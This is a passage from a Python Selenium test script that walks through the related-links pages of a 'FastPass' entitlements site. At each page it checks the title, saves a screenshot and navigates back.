        assert result == 'FastPass | Entitlements - All evolutions for site - Default sort by end date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p10')
        time.sleep(3)

        print "\n"
        print "step16.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step17.Click on 'All sales transactions' in the related links area."
        driver.execute_script("window.scroll(0,0)", "")
        time.sleep(1)
        driver.find_element_by_link_text("All sales transactions").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - All sales transactions for site - Default sort by order date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p11')
        time.sleep(3)

        print "\n"
        print "step18.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step19.Click on 'Active managed entitlements' in the related links area."
        #	driver.execute_script("window.scroll(0,0)","")
        time.sleep(1)
        driver.find_element_by_link_text("Active managed entitlements").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active managed entitlements for site - Default sort by order date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p12')
        time.sleep(3)

        print "\n"
        print "step20.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step21.Click on 'Active allocations' in the related links area."
        #	driver.execute_script("window.scroll(0,0)","")
        time.sleep(1)
        driver.find_element_by_link_text("Active allocations").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active allocations for site - Default sort by end date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p13')
        time.sleep(3)

        print "\n"
        print "step22.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step23.Click on 'All sales orders' in the related links area."
        #	driver.execute_script("window.scroll(0,0)","")
        time.sleep(1)
        driver.find_element_by_link_text("All sales orders").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - All sales orders for site - Default sort by order date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p14')
        time.sleep(3)

        print "\n"
        print "step24.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step25.Click on 'All managed entitlements' in the related links area."
        #	driver.execute_script("window.scroll(0,0)","")
        time.sleep(1)
        driver.find_element_by_link_text("All managed entitlements").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - All managed entitlements for site - Default sort by order date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p15')
        time.sleep(3)

        print "\n"
        print "step26.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step27.Click on 'All allocations' in the related links area."
        #	driver.execute_script("window.scroll(0,0)","")
        time.sleep(1)
        driver.find_element_by_link_text("All allocations").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - All allocations for site - Default sort by end date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p16')
        time.sleep(3)

        print "\n"
        print "step28.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step29.Click on 'Active evolutions from sales transactions."
        driver.execute_script("window.scroll(0,0)", "")
        time.sleep(1)
        driver.find_element_by_link_text(
            "Active evolutions from sales transactions").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active evolutions for site - Default sort by end date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p17')
        time.sleep(3)

        print "\n"
        print "step30.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "Test Case end with successfully!"